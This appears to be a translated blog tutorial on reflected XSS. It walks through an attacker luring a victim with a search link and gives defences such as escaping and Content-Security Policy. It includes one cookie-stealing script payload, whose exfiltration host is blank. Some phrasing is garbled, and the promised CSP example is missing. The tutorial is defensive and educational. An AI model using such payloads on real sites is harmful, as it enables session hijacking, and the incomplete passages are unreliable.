The Reflected XSS vulnerability

Tram Ho


Hello, when building a website, you need to make sure that you do not allow Javascript be returned. Last time I wrote about Unlike Stored-XSS , Reflected-XSS exploit code will not be stored on the server. Stored-XSS allows an attacker to store JS malicious code on the server’s database, which means that other users are also affected when visiting the page containing the malicious code.

In this article, we will explore another way in which an attacker can use XSS to transmit JS malicious code, which is called Reflected XSS .

If your website receives an HTTP request from the user and shows it to them again, you have activated another vector from a third party that can inject malicious JavaScript. Let’s see how it works.

How it works

The familiar character in his posts is Mal , this guy finds a search function on your website that has a problem and he will crack it.

He knew that the search keyword on the URL would be displayed on the search results page, and he also wondered if it had escaped ?

To check, he corrected the url with the JS snippet on search param:<script>window.location=""+document.cookie</script> .

When he drops the link in the browser, the JS will execute and redirect to (malicious site) … yep, poor u 😃 )

Now he proceeds to deceive someone, such as poor Vic – unfortunate character in this series 😃 )

Mal sends Vic an email with a tempting link, and points to the edited link

Vic click on the link, the page renders the search parameter in html without being properly escape , it will generate a new <script> tag

The script is executed when the web page is loaded, and there is no taco 😃 ) you are directed to a standalone website with cookies. Mal will check Vic ‘s server log and hijack session


This is a common error, easy to exploit, and dangerous, it is not as dangerous as stored XSS attacks but much more common.

This vulnerability is easy to overlook in the code review, because often we will mainly check the stored data. Be especially careful when checking the following page types:

  1. Search Results
  2. Error pages
  3. form submissions

For example, we saw an error with the GET method, but the POST request should be carefully checked. Even if you use CSRF, the attacker can still bypass this attack.


Make sure that the dynamic content returned cannot inject Javascript .

  1. Escape dynamic content
  2. Whitelist Values
  3. Implement a Content-Security Policy

With Implement a Content-Security Policy you can use the <meta> tag in <head> with the following content:


The above is a basic introduction to Reflected-XSS , hoping to help you avoid this security error. Thanks for reading all, happy coding! ❤️

Share the news now

Source : Viblo